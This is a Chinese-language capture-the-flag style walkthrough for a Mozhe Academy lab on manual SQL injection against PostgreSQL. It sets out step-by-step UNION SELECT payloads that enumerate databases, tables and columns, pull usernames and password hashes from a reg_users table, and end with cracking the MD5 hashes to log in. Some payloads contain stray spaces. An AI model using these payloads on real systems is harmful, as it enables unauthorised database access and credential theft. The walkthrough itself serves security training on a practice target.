墨者学院-PostGREsql⼿⼯注⼊

步骤一：找寻注入sql页面

步骤二：判断注入方式

输入?id=1 and 1=1 --+数据没有报错

输入?id=1 and 1=2 --+数据报错 则为数字型

步骤三： 通过order by来判断字段数

?id=1 order by 4 --+

?id=1 order by 5 --+

得出字段数为4

步骤四：获取显错点

?id=1 and 1=2 union select 'null',null,null,null // ⽆回显

?id=1 and 1=2 union select null,'null',null,null // 有回显

?id=1 and 1=2 union select null,null,'null',null // 有回显

?id=1 and 1=2 union select null,null,null,'null' // ⽆回显

步骤五：查询所有数据库

?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

步骤六：查询表名

?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'

?id=1 and 1=2 union select null,null,string_agg(relname,','),nu ll from pg_stat_user_tables where schemaname='public'

?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

步骤七：查询user表

?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

步骤八：查询数据

?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

步骤九：利用md5解密进行登录